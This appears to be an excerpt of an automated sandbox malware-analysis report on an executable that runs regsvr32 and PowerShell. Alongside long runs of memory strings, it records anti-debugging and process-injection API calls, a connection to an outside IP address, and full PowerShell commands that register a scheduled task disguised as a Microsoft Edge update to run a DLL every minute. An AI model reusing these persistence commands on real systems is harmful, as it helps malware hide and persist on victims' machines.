Source: regsvr32.exe, 00000007.00000003.1885973380.000000000505B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root PartitionQ
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processor
Source: regsvr32.exe, 0000000E.00000003.1917102815.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1943159264.00000000046B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB F
Source: regsvr32.exe, 0000000E.00000003.1943562354.00000000046B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004EED000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004EED000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917306069.00000000027DA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2020697105.00000000047C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root PartitionlU
Source: regsvr32.exe, 00000007.00000003.1885973380.0000000005000000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.000000000548C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025831243.0000000002C7A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.0000000005495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisors
Source: regsvr32.exe, 0000000E.00000003.1916878513.0000000002D49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885973380.0000000005000000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.000000000548C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor
Source: regsvr32.exe, 00000007.00000003.1774249330.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1889243051.0000000002832000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1776480094.0000000002818000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1885935311.0000000004F45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.2917374555.0000000002833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processor,
Source: regsvr32.exe, 00000007.00000003.1885973380.000000000505B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual ProcessorZ
Source: regsvr32.exe, 0000000E.00000003.1946843482.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.1949631756.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000002.2025942210.0000000002CD4000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2021032450.00000000054E6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000E.00000003.2023547613.0000000002CC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partitionty
Source: regsvr32.exe, 00000007.00000003.1739937994.000000000287E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1741891317.000000000287E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost

Source: C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_02638678 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_02638678

Source: C:\Windows\SysWOW64\regsvr32.exe

7_2_6C855C30

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_6C874C20 GetProcessTimes,GetSystemTimes,GetProcessIoCounters,OpenProcessToken,GetTokenInformation,GetProcessHeap,HeapAlloc,GetTokenInformation,CloseHandle,NtQueryInformationProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,memcpy,ReadProcessMemory,ReadProcessMemory,VirtualQueryEx,memset,GetModuleFileNameExW,K32GetModuleFileNameExW,

7_2_6C874C20

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_6C856300 memset,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,AddVectoredExceptionHandler,RtlAddVectoredExceptionHandler,NtQueryInformationProcess,NtQuerySystemInformation,NtOpenThread,NtGetContextThread,NtTraceControl,NtSetContextThread,NtClose,	7_2_6C856300
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_02636530 SetUnhandledExceptionFilter,GetConsoleWindow,ShowWindow,GetCurrentThreadId,PostThreadMessageA,GetInputState,CreateThread,WaitForSingleObject,CloseHandle,Sleep,	7_2_02636530
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_02638678 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_02638678
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_026369D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_026369D5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_0263AFAE SetUnhandledExceptionFilter,	7_2_0263AFAE

Source: C:\Windows\SysWOW64\regsvr32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\regsvr32.exe

Network Connect: 103.97.176.69 443

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 7_2_02635830 _memset,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,VirtualAllocEx,WriteProcessMemory,GetThreadContext,SetThreadContext,ResumeThread,

7_2_02635830

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Desktop\eXIHsSYhOX.exe "C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{2F534156-472A-43D2-9350-94580B483BA3}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll' }) { exit 0 } else { exit 1 }"

Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata\roaming\burlysparrow.dll\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{2f534156-472a-43d2-9350-94580b483ba3}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries) -runlevel highest"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata\roaming\burlysparrow.dll\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{2f534156-472a-43d2-9350-94580b483ba3}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries) -runlevel highest"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
